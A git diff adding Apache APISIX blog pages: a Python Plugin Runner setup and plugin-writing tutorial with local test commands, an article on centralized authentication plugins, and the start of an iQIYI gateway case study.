+<h2 id="deploy-test">Deploy test</h2>
+<h3 id="base-runtime-environment">Base runtime environment</h3>
+<ul>
+<li>Apache APISIX 2.7</li>
+<li>Python 3.6+</li>
+</ul>
+<p>To deploy Apache APISIX, please refer to the <a href="https://github.com/apache/apisix/blob/master/docs/en/latest/how-to-build.md">Apache APISIX official documentation: How to build Apache APISIX</a> for details.</p>
+<h3 id="download-and-install-python-runner">Download and install Python Runner</h3>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="bash"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> git</span><span style="color:#A5D6FF"> clone</span><span style="color:#A5D6FF"> https://github.com/apache/apisix-python-plugin-runner.git</span></span>
+<span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> cd</span><span style="color:#A5D6FF"> apisix-python-plugin-runner</span></span>
+<span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> make</span><span style="color:#A5D6FF"> install</span></span></code></pre>
+<h3 id="configuring-python-runner">Configuring Python Runner</h3>
+<h4 id="development-mode">development mode</h4>
+<h5 id="run-python-runner">Run Python Runner</h5>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="bash"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> cd</span><span style="color:#A5D6FF"> /path/to/apisix-python-plugin-runner</span></span>
+<span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> APISIX_LISTEN_ADDRESS=unix:/tmp/runner.sock</span><span style="color:#A5D6FF"> python3</span><span style="color:#A5D6FF"> apisix/main.py</span><span style="color:#A5D6FF"> start</span></span></code></pre>
+<h5 id="modify-apisix-configuration-file">Modify APISIX configuration file</h5>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="bash"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> vim</span><span style="color:#A5D6FF"> /path/to/apisix/conf/config.yaml</span></span>
+<span class="line"><span style="color:#FFA657">apisix:</span></span>
+<span class="line"><span style="color:#FFA657"> admin_key:</span></span>
+<span class="line"><span style="color:#FFA657"> -</span><span style="color:#A5D6FF"> name:</span><span style="color:#A5D6FF"> "admin"</span></span>
+<span class="line"><span style="color:#FFA657"> key:</span><span style="color:#A5D6FF"> edd1c9f034335f136f87ad84b625c8f1</span></span>
+<span class="line"><span style="color:#FFA657"> role:</span><span style="color:#A5D6FF"> admin</span></span>
+<span class="line"><span style="color:#FFA657">ext-plugin:</span></span>
+<span class="line"><span style="color:#FFA657"> path_for_test:</span><span style="color:#A5D6FF"> /tmp/runner.sock</span></span></code></pre>
+<h4 id="production-mode">Production mode</h4>
+<h5 id="modify-apisix-configuration-file-1">Modify APISIX configuration file</h5>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="bash"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> vim</span><span style="color:#A5D6FF"> /path/to/apisix/conf/config.yaml</span></span>
+<span class="line"><span style="color:#FFA657">apisix:</span></span>
+<span class="line"><span style="color:#FFA657"> admin_key:</span></span>
+<span class="line"><span style="color:#FFA657"> -</span><span style="color:#A5D6FF"> name:</span><span style="color:#A5D6FF"> "admin"</span></span>
+<span class="line"><span style="color:#FFA657"> key:</span><span style="color:#A5D6FF"> edd1c9f034335f136f87ad84b625c8f1</span></span>
+<span class="line"><span style="color:#FFA657"> role:</span><span style="color:#A5D6FF"> admin</span></span>
+<span class="line"><span style="color:#FFA657">ext-plugin:</span></span>
+<span class="line"><span style="color:#FFA657"> cmd:</span><span style="color:#E6EDF3"> [ </span><span style="color:#A5D6FF">"python3",</span><span style="color:#A5D6FF"> "/path/to/apisix-python-plugin-runner/apisix/main.py",</span><span style="color:#A5D6FF"> "start"</span><span style="color:#A5D6FF"> ]</span></span></code></pre>
+<h4 id="python-runner-configuration-optional">Python Runner configuration (optional)</h4>
+<p>If you need to adjust the <code>Log Level</code> or <code>Unix Domain Socket</code> environment variables, you can modify the <code>Runner</code> configuration file</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="bash"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> vim</span><span style="color:#A5D6FF"> /path/to/apisix-python-plugin-runner/apisix/config.yaml</span></span>
+<span class="line"><span style="color:#FFA657">socket:</span></span>
+<span class="line"><span style="color:#FFA657"> file:</span><span style="color:#E6EDF3"> $env</span><span style="color:#A5D6FF">.APISIX_LISTEN_ADDRESS</span><span style="color:#8B949E"> # Environment variable or absolute path</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">logging:</span></span>
+<span class="line"><span style="color:#FFA657"> level:</span><span style="color:#A5D6FF"> debug</span><span style="color:#8B949E"> # error warn info debug</span></span>
+<span class="line"><span style="color:#FFA657">debug</span></span></code></pre>
+<h3 id="start-python-runner">Start Python Runner</h3>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="bash"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> cd</span><span style="color:#A5D6FF"> /path/to/apisix</span></span>
+<span class="line"><span style="color:#8B949E"># Start or Restart</span></span>
+<span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> ./bin/apisix</span><span style="color:#E6EDF3"> [ </span><span style="color:#A5D6FF">start</span><span style="color:#FF7B72"> |</span><span style="color:#FFA657"> restart</span><span style="color:#A5D6FF"> ]</span></span></code></pre>
+<p>Start or restart <code>APISIX</code>, when <code>APISIX</code> and <code>Python Runner</code> have been configured and started.</p>
+<h3 id="testing-python-runner">Testing Python Runner</h3>
+<h4 id="configuring-apache-apisix-routing-and-plugin-information">Configuring Apache APISIX Routing and Plugin Information</h4>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="bash"><code><span class="line"><span style="color:#8B949E"># Test with the default demo plugin</span></span>
+<span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/routes/1</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><span style="color:#79C0FF"> -d</span><span style="color:#A5D6FF"> '</span></span>
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri": "/get",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "ext-plugin-pre-req": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "conf": [</span></span>
+<span class="line"><span style="color:#A5D6FF"> { "name": "stop", "value":"{\"body\":\"hello\"}"}</span></span>
+<span class="line"><span style="color:#A5D6FF"> ]</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "127.0.0.1:1980": 1</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre>
+<ul>
+<li><code>plugins.ext-plugin-pre-req.conf</code> is the <code>Runner</code> plugin configuration, <code>conf</code> is an array format to set multiple plugins at the same time.</li>
+<li>The <code>name</code> in the plugin configuration object is the name of the plugin, which should be the same as the plugin code file and object name.</li>
+<li><code>value</code> in the plugin configuration object is the plugin configuration, which can be a <code>JSON</code> string.</li>
+</ul>
+<h4 id="access-verification">access verification</h4>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="bash"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/get</span><span style="color:#79C0FF"> -i</span></span>
+<span class="line"><span style="color:#FFA657">HTTP/1.1</span><span style="color:#79C0FF"> 200</span><span style="color:#A5D6FF"> OK</span></span>
+<span class="line"><span style="color:#FFA657">Date:</span><span style="color:#A5D6FF"> Fri,</span><span style="color:#79C0FF"> 13</span><span style="color:#A5D6FF"> Aug</span><span style="color:#79C0FF"> 2021</span><span style="color:#A5D6FF"> 13:39:18</span><span style="color:#A5D6FF"> GMT</span></span>
+<span class="line"><span style="color:#FFA657">Content-Type:</span><span style="color:#A5D6FF"> text/plain</span><span style="color:#E6EDF3">; charset</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">utf-8</span></span>
+<span class="line"><span style="color:#FFA657">Transfer-Encoding:</span><span style="color:#A5D6FF"> chunked</span></span>
+<span class="line"><span style="color:#FFA657">Connection:</span><span style="color:#A5D6FF"> keep-alive</span></span>
+<span class="line"><span style="color:#FFA657">host:</span><span style="color:#A5D6FF"> 127.0.0.1:9080</span></span>
+<span class="line"><span style="color:#FFA657">accept:</span><span style="color:#79C0FF"> *</span><span style="color:#A5D6FF">/</span><span style="color:#79C0FF">*</span></span>
+<span class="line"><span style="color:#FFA657">user-agent:</span><span style="color:#A5D6FF"> curl/7.64.1</span></span>
+<span class="line"><span style="color:#FFA657">X-Resp-A6-Runner:</span><span style="color:#A5D6FF"> Python</span></span>
+<span class="line"><span style="color:#FFA657">Server:</span><span style="color:#A5D6FF"> APISIX/2.7</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">Hello,</span><span style="color:#A5D6FF"> Python</span><span style="color:#A5D6FF"> Runner</span><span style="color:#A5D6FF"> of</span><span style="color:#A5D6FF"> APISIX</span></span></code></pre>
+<h2 id="plugin-development">Plugin Development</h2>
+<h3 id="plugin-directory">Plugin directory</h3>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="bash"><code><span class="line"><span style="color:#FFA657">/path/to/apisix-python-plugin-runner/apisix/plugins</span></span></code></pre>
+<p>The <code>.py</code> files in this directory will be loaded automatically.</p>
+<h3 id="plugin-example">Plugin example</h3>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="bash"><code><span class="line"><span style="color:#FFA657">/path/to/apisix-python-plugin-runner/apisix/plugins/stop.py</span></span>
+<span class="line"><span style="color:#FFA657">/path/to/apisix-python-plugin-runner/apisix/plugins/rewrite.py</span></span></code></pre>
+<h3 id="plugin-format">Plugin format</h3>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="python"><code><span class="line"><span style="color:#FF7B72">from</span><span style="color:#E6EDF3"> apisix.runner.plugin.base </span><span style="color:#FF7B72">import</span><span style="color:#E6EDF3"> Base</span></span>
+<span class="line"><span style="color:#FF7B72">from</span><span style="color:#E6EDF3"> apisix.runner.http.request </span><span style="color:#FF7B72">import</span><span style="color:#E6EDF3"> Request</span></span>
+<span class="line"><span style="color:#FF7B72">from</span><span style="color:#E6EDF3"> apisix.runner.http.response </span><span style="color:#FF7B72">import</span><span style="color:#E6EDF3"> Response</span></span>
+<span class="line"></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FF7B72">class</span><span style="color:#FFA657"> Stop</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">Base</span><span style="color:#E6EDF3">):</span></span>
+<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __init__</span><span style="color:#E6EDF3">(self):</span></span>
+<span class="line"><span style="color:#A5D6FF"> """</span></span>
+<span class="line"><span style="color:#A5D6FF"> Example of `stop` type plugin, features:</span></span>
+<span class="line"><span style="color:#A5D6FF"> This type of plugin can customize response `body`, `header`, `http_code`</span></span>
+<span class="line"><span style="color:#A5D6FF"> This type of plugin will interrupt the request</span></span>
+<span class="line"><span style="color:#A5D6FF"> """</span></span>
+<span class="line"><span style="color:#79C0FF"> super</span><span style="color:#E6EDF3">(Stop, </span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">). </span><span style="color:#79C0FF">__init__</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">__class__</span><span style="color:#E6EDF3">. </span><span style="color:#79C0FF">__name__</span><span style="color:#E6EDF3"> [...]
+<span class="line"></span>
+<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> filter</span><span style="color:#E6EDF3">(self, request: Request, response: Response):</span></span>
+<span class="line"><span style="color:#A5D6FF"> """</span></span>
+<span class="line"><span style="color:#A5D6FF"> The plugin executes the main function</span></span>
+<span class="line"><span style="color:#A5D6FF"> :param request:</span></span>
+<span class="line"><span style="color:#A5D6FF"> request parameters and information</span></span>
+<span class="line"><span style="color:#A5D6FF"> :param response:</span></span>
+<span class="line"><span style="color:#A5D6FF"> response parameters and information</span></span>
+<span class="line"><span style="color:#A5D6FF"> :return:</span></span>
+<span class="line"><span style="color:#A5D6FF"> """</span></span>
+<span class="line"><span style="color:#8B949E"> # In the plugin you can get the configuration information through `self.config`,</span></span>
+<span class="line"><span style="color:#8B949E"> # if the plugin configuration is JSON it will be automatically converted to</span></span>
+<span class="line"><span style="color:#8B949E"> # a dictionary structure</span></span>
+<span class="line"><span style="color:#8B949E"> # print(self.config)</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#8B949E"> # set the response headers</span></span>
+<span class="line"><span style="color:#E6EDF3"> headers </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> request.headers</span></span>
+<span class="line"><span style="color:#E6EDF3"> headers[</span><span style="color:#A5D6FF">"X-Resp-A6-Runner"</span><span style="color:#E6EDF3">] </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> "Python"</span></span>
+<span class="line"><span style="color:#E6EDF3"> response.headers </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> headers</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#8B949E"> # Set the response body information</span></span>
+<span class="line"><span style="color:#E6EDF3"> response.body </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> "Hello, Python Runner of APISIX"</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#8B949E"> # Set the response status code</span></span>
+<span class="line"><span style="color:#E6EDF3"> response.status_code </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> 201</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#8B949E"> # Interrupt the request process by calling `self.stop()`, which will immediately respond to the client</span></span>
+<span class="line"><span style="color:#8B949E"> # If `self.stop()` is not shown or if `self.rewrite()` is shown, the request will continue</span></span>
+<span class="line"><span style="color:#8B949E"> # Default is `self.rewrite()`</span></span>
+<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.stop()</span></span></code></pre>
+<h3 id="plugin-specifications-and-considerations">Plugin specifications and considerations</h3>
+<ul>
+<li>Plugin object implementation must inherit from the <code>Base</code> class</li>
+<li>The plugin must implement the <code>filter</code> function</li>
+<li><code>filter</code> function parameters can only contain <code>Request</code> and <code>Response</code> class objects as parameters</li>
+<li><code>Request</code> object parameter can get request information</li>
+<li><code>Response</code> object parameter can set the response information</li>
+<li><code>self.config</code> can get the plugin configuration information</li>
+<li>Calling <code>self.stop()</code> in the <code>filter</code> function will immediately break the request and respond to the data.</li>
+<li>When <code>self.rewrite()</code> is called in the <code>filter</code> function, the request will continue.</li>
+</ul>
+<h2 id="welcome-to-participate">Welcome to participate</h2>
+<p>The <code>Runner</code> for <code>Apache APISIX</code> languages is still in the early stages of development, and we will continue to improve its functionality. A successful open source project cannot be achieved without everyone’s participation and contribution, welcome to participate in <code>Apache APISIX Runner</code>.
+Let’s build a bridge between <code>Apache APISIX</code> and other languages together.</p>
+<ul>
+<li><a href="https://github.com/apache/apisix-python-plugin-runner">apisix-python-plugin-runner</a></li>
+<li><a href="https://github.com/apache/apisix-go-plugin-runner">apisix-go-plugin-runner</a></li>
+<li><a href="https://github.com/apache/apisix-java-plugin-runner">apisix-java-plugin-runner</a></li>
+</ul>
+<h2 id="related-reading">Related Reading</h2>
+<ul>
+<li><a href="http://apisix.apache.org/blog/2021/08/19/go-makes-Apache-APISIX-better">Go gives Apache APISIX a run for its money</a></li>
+<li><a href="https://apisix.apache.org/blog/2021/06/21/use-Java-to-write-Apache-APISIX-plugins">How to write Apache APISIX plugins in Java</a></li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/09/07/how-to-use-apisix-auth/index.html b/blog/2021/09/07/how-to-use-apisix-auth/index.html
new file mode 100644
index 00000000000..143ec9af03a
--- /dev/null
+++ b/blog/2021/09/07/how-to-use-apisix-auth/index.html
@@ -0,0 +1,75 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Centralized Authentication with APISIX | Apache APISIX</title><meta name="description" content="Centralize API authentication with APISIX using key-auth, JWT, and OpenID Connect plugins. Reduce backend complexity and improve security."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/09/07/how-to-u [...]
+<p>This article describes the authentication features of Apache APISIX, in terms of importance and usage.</p>
+</blockquote>
+<!--truncate-->
+<p>Authentication is a very common feature in daily life, and we all come across it in our daily lives. For example, face recognition when using Alipay, fingerprint/face clocking in and out of work, and password login on websites are all scenarios of authentication.</p>
+<p><img src="https://static.apiseven.com/202108/1631004418593-0a46f949-72aa-4cd4-8f38-1988327c92d6.png" alt="Authentication Concepts"></p>
+<p>As shown above, Jack requests a server-side application with an account password, and the server-side application needs a module dedicated to authentication to handle this part of the logic. After the request is processed, if the JWT Token authentication method is used, the server will provide a Token to identify the user as Jack. If the account password is entered incorrectly during the login process, it will lead to authentication failure. This scenario must be very familiar to ever [...]
+<h2 id="what-is-the-significance-of-network-authentication">What is the significance of network authentication</h2>
+<h3 id="security">Security</h3>
+<p>Authentication ensures the security of back-end services and avoids unauthorized access, thus ensuring the security of data. For example, it prevents certain hacking attacks, and some malicious calls, which can be blocked by authentication.</p>
+<h3 id="practicality">Practicality</h3>
+<p>From the perspective of practicality, it can be more convenient to record the operator or caller. For example, clocking in at work is actually a way to record “who performed this operation” to count employees’ work information.</p>
+<p>Secondly, it can record the access frequency and frequency of access. For example, it can record the frequency and frequency of requests initiated by a user in the last few minutes, which can determine how active the user is, and also whether it is a malicious attack, etc.</p>
+<h3 id="functionality">Functionality</h3>
+<p>At the functional level, it can handle operations with different privileges for different identities by identifying them. For example, in a company, you cannot use certain pages or services with your identity authority. To be more detailed, it can do some related technical restriction policies for different identities or different API interface callers, such as limiting the flow and speed, etc., so as to achieve different functional restrictions according to different users (callers).</p>
+<h2 id="benefits-of-centralized-authentication-with-apache-apisix">Benefits of centralized authentication with Apache APISIX</h2>
+<h3 id="from-traditional-to-new-model">From traditional to new model</h3>
+<p>As shown in the figure below, the diagram on the left shows us a more common traditional authentication approach. Each application service module goes to develop a separate authentication module that is used to support a set of process handling for authentication. But when the volume of services increases, it becomes clear that the development workload of these modules is huge and repetitive.</p>
+<p><img src="https://static.apiseven.com/202108/1631004492221-0721d933-705d-4875-b956-e94a11a45135.png" alt="Apache APISIX Authentication"></p>
+<p>At such times, we can achieve unification and reduce the amount of development by placing this part of the development logic in the Apache APISIX gateway.</p>
+<p>As shown in the figure on the right, the user or application party goes directly to request Apache APISIX, and then Apache APISIX passes the authenticated identity information to the upstream application service after it has been identified and authenticated. After that, the upstream application service can read this information from the request header and then process the subsequent related work.</p>
+<p>After the general process, let’s list it in detail.</p>
+<h3 id="benefit-1-configuration-convergence-unified-management">Benefit 1: Configuration convergence, unified management</h3>
+<p><img src="https://static.apiseven.com/202108/1631004574541-87b607eb-2971-4c1d-a1d6-74cf4a5fdd42.png" alt="Dashboard"></p>
+<p>The screenshot above is a screenshot of the APISIX-Dashboard interface, you can see the routing, Consumer and other data information. The Consumer here can be understood as an application party, for example, you can create a Consumer specifically for the application and configure related authentication plugins, such as JWT, Basic-Auth, etc. When there is a new service, we need to create another Consumer, and then configure this part of the configuration information to the second appli [...]
+<p>Through centralized authentication, we can converge and unify the customer configuration and achieve the effect of reducing the operation and maintenance cost.</p>
+<h3 id="benefit-2-rich-plug-ins-reduced-development">Benefit 2: Rich plug-ins, reduced development</h3>
+<p>Apache APISIX, as an API gateway, is now open to cooperation with various plug-in functions for adaptation, and the plug-in library is relatively rich. At present, it can already work with a large number of authentication-related plug-ins, as shown in the following figure.</p>
+<p><img src="https://static.apiseven.com/202108/1631004738218-586e84af-a5ab-4714-845d-4d71b7ba79e3.png" alt="API Gateway Authentication Plugin"></p>
+<p>Basic authentication plug-ins such as Key-Auth, Basic-Auth, they are authenticated by way of account password.</p>
+<p>More complex authentication plugins such as Hmac-Auth, JWT-Auth. e.g. Hmac-Auth generates a signature by doing some encryption on the request information. When the API caller carries this signature to the Apache APISIX gateway Apache APISIX calculates the signature with the same algorithm and passes it only if the signer and the application caller are authenticated the same.</p>
+<p>The Authz-casbin plugin is a project currently being developed by Apche APISIX in collaboration with the Casbin community. The principle of the application is to handle role-based authority control (RBAC) and ACL-related operations according to Casbin rules.</p>
+<p>Others are generic authentication protocols and collaborative authentication protocols with third-party components, such as OpenID-Connect authentication mechanism, and LDAP authentication.</p>
+<h3 id="benefit-3-flexible-and-powerful-configuration">Benefit 3: Flexible and powerful configuration</h3>
+<p>How to understand powerful is that Apache APISIX can do different levels of plug-in configuration for each Consumer (i.e., caller application).</p>
+<p><img src="https://static.apiseven.com/202108/1631004783828-3dd0056c-a6aa-4ab9-b902-7bd2ca545ffe.png" alt="Configuration flexibility"></p>
+<p>As shown above, we have created two consumers Consumer A and Consumer B. If we apply Consumer A to <code>Application 1</code>, subsequent accesses to <code>Application 1</code> will enable this part of Consumer A’s plugins, such as IP blacklisting, limiting the number of concurrency, etc. If we apply Consumer B to <code>Application 2</code>, the access log of <code>Application 2</code> will be sent to the logging system for collection via HTTP since the http-log plugin is enabled.</p>
+<h2 id="how-to-play-with-authentication-in-apache-apisix">How to play with authentication in Apache APISIX</h2>
+<p>Regarding the play of Apache APISIX authentication, here is a recommendation of three stages of play for your reference only, or you can use and apply them in more depth on the basis of these.</p>
+<h3 id="primary-general-play">Primary: General play</h3>
+<p>Ordinary play is recommended based on Key-Auth, Basic-Auth, JWT-Auth and Hmac-Auth, the use of these plug-ins need to be associated with the use of Consumer.</p>
+<h4 id="step-1-create-a-route-and-configure-the-authentication-plugin">Step 1: Create a route and configure the authentication plugin</h4>
+<p>Create a route, configure the upstream as <code>httpbin.org</code> and enable the <code>basic-auth</code> plugin.</p>
+<p><img src="https://static.apiseven.com/202108/1631004892467-71c93f8f-dc0e-47fe-a88f-943adb9edbff.png" alt="Create route"></p>
+<h4 id="step-2-create-consumer-and-configure-identity-information">Step 2: Create consumer and configure identity information</h4>
+<p>Create the consumer foo. In the consumer, we need to configure the user authentication information, e.g. <code>username</code> for foo and <code>password</code> for <code>bar</code>.</p>
+<p><img src="https://static.apiseven.com/202108/1631004937828-15ac5d8f-0e45-4c3d-94e8-2b180266b379.png" alt="Create consumer"></p>
+<h4 id="step-3-application-service-carries-authentication-information-for-access">Step 3: Application service carries authentication information for access</h4>
+<p>The application accesses Apache APISIX with <code>username:foo</code>,<code>password: bar</code>. Apache APISIX is authenticated and carries the request Authorization request header upstream to <code>httpbin.org</code>. Since the get interface in <code>httpbin.org</code> returns the request information, we can observe the request header <code>Authorization</code> in it.</p>
+<p><img src="https://static.apiseven.com/202108/1631004973305-4b209f79-f7de-41a2-994e-8877a6624d99.png" alt="Request Carry"></p>
+<h3 id="intermediate-usages-of-authentication">Intermediate usages of authentication</h3>
+<p>The intermediate mode is to use Apache APISIX with the OpenID-Connect plugin to interface to third-party authentication services. openID-Connect is an authentication mechanism that can be used to interface to a user’s user management system or user management services, such as Authing and Tencent Cloud in China, Okta and Auth0, etc.</p>
+<p><img src="https://static.apiseven.com/202108/1631005002268-7393b40e-1733-4e66-bc09-742be221efae.png" alt="Third-party authentication mode"></p>
+<p>The details are as follows, using Okta cloud service as an example.</p>
+<h4 id="step-1-create-an-openid-connect-application">Step 1: Create an OpenID-Connect application</h4>
+<p>Create an application that supports OpenID-Connect from the Okta console page.</p>
+<p><img src="https://static.apiseven.com/202108/1631005022640-1e931b14-8175-47f3-bfb8-46e09cec616b.png" alt="Create"></p>
+<h4 id="step-2-create-a-route-and-configure-the-openid-connect-plug-in">Step 2: Create a route and configure the OpenID-Connect plug-in</h4>
+<p>Create a route, configure the upstream address to httpbin.org, and enable the openid-connect plug-in, and fill in the configuration of the Okta application into the openid-connect plug-in.</p>
+<p><img src="https://static.apiseven.com/202108/1631005045489-b637ef9a-c71c-440f-ae58-a93398a4c9dd.png" alt="Configure the plugin"></p>
+<h4 id="step-3-when-the-user-visits-it-will-jump-to-the-login-page-after-the-login-is-complete-the-upstream-application-gets-the-user-information">Step 3: When the user visits, it will jump to the login page. After the login is complete, the upstream application gets the user information</h4>
+<p>At this point, when the user accesses Apache APISIX, they will first be redirected to the Okta login page. At this point, you need to fill in the account password of the user that already exists in Okta. After login is completed, Apache APISIX will carry the Access-Token and ID-Token to the upstream, and encode the authenticated user information in base64 in the Userinfo request header and pass it to the upstream.</p>
+<p><img src="https://static.apiseven.com/202108/1631005077846-0f877a03-ddcd-46f6-a38d-f046b4700058.png" alt="APISIX Page"></p>
+<h2 id="advanced-upload-your-own-code-snippets-through-the-serverless-plug-in">Advanced: upload your own code snippets through the Serverless plug-in</h2>
+<p>The DIY gameplay provided here makes use of the Serverless plugin, which is feature-rich and has a lot of ways to play. If you have your own use of play, you are also welcome to communicate in the community.</p>
+<p>The specific operation process is to upload their own code snippets through the Serverless plug-in to Apache APISIX, the process of Serverless plug-in support dynamic configuration and hot updates.</p>
+<h3 id="method-1-custom-judgment-logic">Method 1: Custom judgment logic</h3>
+<p><img src="https://static.apiseven.com/202108/1631005112469-c04868b8-388e-4b81-abcc-d37b6a8951f5.png" alt="Judgment Logic"></p>
+<p>Some judgments are made by request headers, parameters and other related information. By this approach, we can go to implement some of our own rules, such as combining some internal authentication of the enterprise, or go to write some of our own business logic.</p>
+<h3 id="method-2-initiate-authentication-request">Method 2: Initiate authentication request</h3>
+<p><img src="https://static.apiseven.com/202108/1631005141578-f90cf948-4913-45cd-a28e-9e697ad197fe.png" alt="Authentication Request"></p>
+<p>By initiating an HTTP request through the HTTP library, we can use a third-party service to do some authentication and authentication related things and then parse the returned results. In this way, we can do a lot of things that can be extended. For example, interfacing to Redis or a database, as long as it’s over TCP or UDP, can be attempted with the Serverless plugin.</p>
+<h3 id="upload-configurations">Upload Configurations</h3>
+<p>After completing the custom code snippet, we create the route and configure the snippet to the Serverless plugin. Later, we will test if the plugin is working by accessing Apache APISIX and getting the appropriate feedback.</p>
+<p><img src="https://static.apiseven.com/202108/1631005184917-bc620c0b-d4c6-43f5-8450-4f5b2b9549e1.png" alt="Configure Upload"></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/s [...]
\ No newline at end of file
diff --git a/blog/2021/09/07/iqiyi-usercase/index.html b/blog/2021/09/07/iqiyi-usercase/index.html
new file mode 100644
index 00000000000..b8123d0d3bb
--- /dev/null
+++ b/blog/2021/09/07/iqiyi-usercase/index.html
@@ -0,0 +1,67 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>iQIYI API Gateway Update and Practice with Apache APISIX | Apache APISIX</title><meta name="description" content="This article introduces why iQIYI abandoned Kong and chose the cloud native API gateway Apache APISIX as the company gateway and application scenarios."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apac [...]
+<p>In this article, you can understand how iQIYI’s technical team updates and integrates the company structure based on Apache APISIX gateway to create a brand-new gateway service.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="background">Background</h2>
+<p>iQIYI has developed a gateway-skywalker, it is based on the secondary development of Kong, the current traffic is also relatively large, the daily peak of the gateway stock business million QPS, the number of API routes tens of thousands. But the product’s shortcomings began to show up in the wake of its use.</p>
+<ol>
+<li>Performance is not satisfactory, because the volume of business, every day received a lot of CPU IDLE too low alert</li>
+<li>The components of the system architecture depend on many</li>
+<li>The development cost of operation and maintenance is high</li>
+</ol>
+<p>After taking over the project this year, we started to do some research on gateway products in the light of the problems and dilemmas mentioned above, and then we found Apache APISIX.</p>
+<h2 id="apache-apisix-advantage">Apache APISIX Advantage</h2>
+<p>Before choosing Apache APISIX, the iqiyi platform was already using Kong, but it was later abandoned.</p>
+<h3 id="why-give-up-kong">Why Give Up Kong</h3>
